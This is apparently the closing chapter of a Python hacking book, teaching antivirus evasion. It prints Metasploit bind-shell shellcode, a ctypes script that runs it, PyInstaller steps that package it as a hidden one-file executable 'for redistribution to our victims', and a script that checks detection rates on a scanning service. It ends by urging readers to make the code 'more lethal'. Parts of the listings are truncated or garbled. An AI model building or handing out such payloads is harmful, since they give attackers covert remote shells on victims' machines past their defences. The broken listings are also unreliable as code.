Anti-Virus Evasion using Python.
Building a Win32 Executable using Pyinstaller.
It’s the art where a small man is going to prove to you, no matter how strong you are, no matter how mad you get, that you’re going to have to accept defeat.
—Saulo Ribeiro, six-time World Champion, Brazilian Jiu Jitsu
On May 28, 2012, the Maher Center in Iran detected a complex and sophisticated cyber-attack against its network (CERTCC, 2011). This attack proved so sophisticated that 43 out of 43 tested antivirus engines could not identify the code used in the attack as malicious. Dubbed “Flame” after some ASCII strings included in the code, the malware appeared to infect systems in Iran as a state-run cyber-esponiage strategy (Zetter, 2012). With compiled Lua scripts named Beetlejuice, Microbe, Frog, Snack, and Gator, the malware beaconed via Bluetooth, covertly recorded audio, infected nearby machines, and uploaded screenshots and data to remote command and control servers (Analysis Team, 2012).
Estimates gauge the malware as at least two years old. Kapersky Lab was quick to explain that Flame is “one of the most complex threats ever discovered. It’s big and incredibly sophisticated” (Gostev, 2012). Yet how did antivirus engines fail to detect it for at least 2 years? They failed to detect it because most antivirus engines still primarily use signature-based detection as their main method of detection. While some vendors have begun incorporating more complex methods such as heuristics or reputation scoring, these are still novel in concept.
In the final chapter, we will create a piece of malware intended to evade antivirus engines. The concept used is largely the work of Mark Baggett, who shared his method with followers of the SANS Penetration Testing Blog almost a year ago (Baggett, 2011). Yet the method for bypassing antivirus programs is still functional at the time of writing this chapter. Taking a nod from Flame, which used compiled Lua scripts, we will implement Mark’s method and compile Python code into a Windows executable in order to evade antivirus programs.
In order to create the malware, we need some malicious code. The Metasploit framework contains a repository of malicious payloads (250 at the time of this writing). We can use Metasploit to generate some C-style shellcode for a malicious payload. We will use a simple Windows bindshell that will bind the cmd.exe process to a TCP port of our choosing: this allows an attacker to remotely connect to a machine and issue commands that interact with the cmd.exe process:
attacker:∼# msfpayload windows/shell_bind_tcp LPORT=1337 C
* windows/shell_bind_tcp - 341 bytes
* VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30”
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2”
“\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85”
“\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3”
“\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”
“\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58”
“\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”
“\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”
“\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68”
“\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01”
“\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50”
“\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7”
“\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68”
“\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5”
“\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75”
“\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57”
“\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01”
“\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e”
“\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56”
“\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56”
“\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75”
Next, we will write a script that will execute the C-style shellcode. Python allows for importing foreign function libraries. We can import the library ctypes, which will allow us to interact with data types for the C programming language. After defining a variable to store our shellcode, we simply cast it as a C-function and execute it. For future reference, we will save this file as bindshell.py:
shellcode = (“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30”
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2”
“\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85”
“\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3”
“\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”
“\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58”
“\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”
“\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”
“\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68”
“\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01”
“\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50”
“\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7”
“\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68”
“\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5”
“\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75”
“\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57”
“\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01”
“\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e”
“\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56”
“\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56”
“\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75”
“\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5”);
memorywithshell = create_string_buffer(shellcode, len(shellcode))
While the script at this point will execute on a Windows machine with a Python interpreter installed, let’s improve it by compiling the software with Pyinstaller (available from http://www.pyinstaller.org/). Pyinstaller will convert our Python script into a stand-alone executable that can be distributed to systems that do not have a Python interpreter. Before compiling our script, it is necessary to run the Configure.py script bundled with Pyinstaller:
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim>cd pyinstaller-1.5.1
C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py
I: read old config from config.dat
Next, we will instruct Pyinstaller to build an executable spec file for a Windows portable executable. We will instruct Pyinstaller not to display a console with the --noconsole option and to build the final executable into one single flat file with the --onefile option:
C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile --noconsole bindshell.py
wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec
With the spec file built, we can instruct Pyinstaller to build an executable for redistribution to our victims. Pyinstaller creates an executable named bindshell.exe in the bindshell\dist\ directory. We can now redistribute this executable to any Windows 32-bit victim:
C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\bindshell.spec
I: Dependent assemblies of C:\Python27\python.exe:
I: x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none
After running the executable on a victim, we see that TCP port 1337 is listening:
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1337 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING
Connecting to the victim’s IP address and TCP port 1337, we see our malware is working successfully, as expected. But can it successfully evade anti-virus programs? We will write a Python script to verify this in the next section:
We will use the service vscan.novirusthanks.org to scan our executable. NoVirusThanks provides a Web page interface to upload suspect files and scan them against 14 different antivirus engines. While uploading the malicious file using the Web page interface would tell us what we want to know, let’s use this opportunity to write a quick Python script to automate the process. Capturing a tcpdump of the interaction with the Web page interface gives us a good starting point for our Python script. We can see here that the HTTP header includes a setting for the boundary that surrounds the file contents. Our script will require this header and these parameters in order to submit the file:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U
Referer:http://vscan.novirusthanks.org/
Accept-Encoding: gzip, deflate
-------WebKitFormBoundaryF17rwCZdGuPNPT9U
Content-Disposition: form-data; name=“upfile”; filename=“bindshell.exe”
Content-Type: application/octet-stream
------WebKitFormBoundaryF17rwCZdGuPNPT9U
We will now write a quick Python function utilizing the httplib that takes the file name as a parameter. After opening the file and reading the contents, it creates a connection to vscan.novirusthanks.org and posts the header and data parameters. The page returns a response that refers to the location page containing the analysis of the uploaded file:
print “[+] Uploading file to NoVirusThanks...”
fileContents = open(fileName, ‘rb’).read()
header = {’Content-Type’: ‘multipart/form-data; \
boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U’}
params = “------WebKitFormBoundaryF17rwCZdGuPNPT9U”
params += “\r\nContent-Disposition: form-data; “+\
“name=\"upfile\”; filename=\“”+str(fileName)+"\“”
params += “\r\nContent-Type: “+\
“application/octet stream\r\n\r\n”
params += “\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U”
params += “\r\nContent-Disposition: form-data; “+\
params += “\r\nSubmit File\r\n”
params +=“------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n”
conn = httplib.HTTPConnection(’vscan.novirusthanks.org‘)
conn.request(“POST”, ”/”, params, header)
Examining the returned location field from vscan.novirusthanks.org, we see the server constructs the returned page from http://vscan.novirusthanks.org + /file/ + md5sum(file contents) + / + base64(filename)/. The page contains some JavaScript to print a message saying scanning file and reload the page until a full analysis page is ready. At that point, the page returns an HTTP status code 302, which redirects to http://vscan.novirusthanks.org + /analysis/ + md5sum(file contents) + / + base64(filename)/. Our new page simply swaps the word file for analysis in the URL:
Date: Mon, 18 Jun 2012 16:45:48 GMT
Location:http://vscan.novirusthanks.org/file/d5bb12e32840f4c3fa00662e412a66fc/bXNmLWV4ZQ==/
Looking over the source of the analysis page, we see it contains a string with the detection rate. The string contains some CSS code that we will need to strip away in order to print it to a console screen:
Report date: 2012-06-18 18:48:20 (GMT 1)
File name: [b]bindshell-exe[/b]
MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc
SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364
Detection rate: [color=red]0[/color] on 14 ([color=red]0%[/color])
With an understanding of how to connect to the analysis page and strip the CSS code, we can write a Python script to print the scanning results of our suspect uploaded file. First, our script connects to the file page, which returns a scanning in progress message. Once this page returns an HTTP 302 redirect to our analysis page, we can use a regular expression to read the detection rate and then replace the CSS code with a blank string. We will then print the detection rate string to the screen:
conn = httplib.HTTPConnection(host)
path = path.replace(‘file’, ‘analysis’)
conn = httplib.HTTPConnection(host)
reResults = re.findall(r’Detection rate:.*\) ‘, data)
Adding some option parsing,we now have a script capable of uploading a file, scanning it using the vscan.novirusthanks.org service, and printing the detection rate:
conn = httplib.HTTPConnection(host)
path = path.replace(‘file’, ‘analysis’)
conn = httplib.HTTPConnection(host)
reResults = re.findall(r’Detection rate:.*\) ‘, data)
replace(‘<font color=\’red\’>’, ‘’).\
print ‘[+] ’ + str(htmlStripRes)
print “[+] Uploading file to NoVirusThanks...”
fileContents = open(fileName, ‘rb’).read()
header = {’Content-Type’: ‘multipart/form-data; \
boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U’}
params = “------WebKitFormBoundaryF17rwCZdGuPNPT9U”
params += “\r\nContent-Disposition: form-data; “+\
“name=\"upfile\”; filename=\“”+str(fileName)+"\“”
params += “\r\nContent-Type: “+\
“application/octet stream\r\n\r\n”
params += “\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U”
params += “\r\nContent-Disposition: form-data; “+\
params += “\r\nSubmit File\r\n”
params +=“------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n”
conn = httplib.HTTPConnection(’vscan.novirusthanks.org‘)
conn.request(“POST”, ”/”, params, header)
location = response.getheader(‘location’)
parser = optparse.OptionParser(‘usage%prog -f <filename>’)
parser.add_option(‘-f’, dest=‘fileName’, type=‘string’, \
(options, args) = parser.parse_args()
elif os.path.isfile(fileName) == False:
Let’s first test a known malicious executable to verify whether an antivirus program can successfully detect it. We will build a Windows TCP bindshell that binds TCP port 1337. Using the default Metasploit encoder, we will encode it into a standard Windows executable. Noticing the results, we can see that 10 out of 14 antivirus engines detected the file as malicious. This file will obviously not evade a decent antivirus program:
attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
attacker$ python virusCheck.py –f bindshell.exe
However, running our virusCheck.py script against our Python script compiled executable, we can upload it to NoVirusThanks and see that 14 out of 14 antivirus engines failed to detect it as malicious. Success! We can achieve complete antivirus avoidance with a little bit of Python:
Congratulations! You have finished the final chapter, and hopefully the book as well. The preceding pages have covered a variety of different concepts. Beginning with how to write some Python code to assist with network penetration tests, we transitioned into writing code for studying forensic artifacts, analyzing network traffic, causing wireless mayhem and analyzing Web pages and social media. This final chapter explained a method for writing malicious programs capable of evading antivirus scanners.
After finishing this book, return to the previous chapters. How can you modify the scripts to suit your specific needs? How can you make them more effective, efficient, or lethal? Consider the example in this chapter. Can you use an encryption cipher to encode the shellcode prior to execution in order to evade an antivirus signature? What will you write in Python today? With these thoughts, we leave you with a few words of wisdom from Aristotle.
“We make war that we may live in peace.”
1. Baggett, M. (2011). Tips for evading anti-virus during pen testing. SANS Pentest Blog. Retrieved from <http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing>, October 13.
2. Computer Emergency Response Team Coordination Center (CERTCC). (2012). Identification of a new targeted cyber-attack. CERTCC IRAN. Retrieved from <http://www.certcc.ir/index.php?name=news&file=article&sid=1894>, May 28.
3. Gostev, A. (2012). The Flame: Questions and answers. Securelist – Information about viruses, hackers and spam. Retrieved from <http://www.securelist.com/en/blog/208193522/The_Flame_Questions_and_Answers>, May 28.
4. sKyWIper Analysis Team. (2012). sKyWIper (a.k.a. Flame;a.k.a. Flamer): A complex malware for targeted attacks. Laboratory of Cryptography and System Security (CrySyS Lab)/Department of Communications, Budapest University of Technology and Economics. Retrieved from <http://www.crysys.hu/skywiper/skywiper.pdf>, May 31.
5. Zetter, K. (2012). “Flame” spyware infiltrating Iranian computers. CNN.com. Retrieved from <http://www.cnn.com/2012/05/29/tech/web/iran-spyware-flame/index.html>, May 30.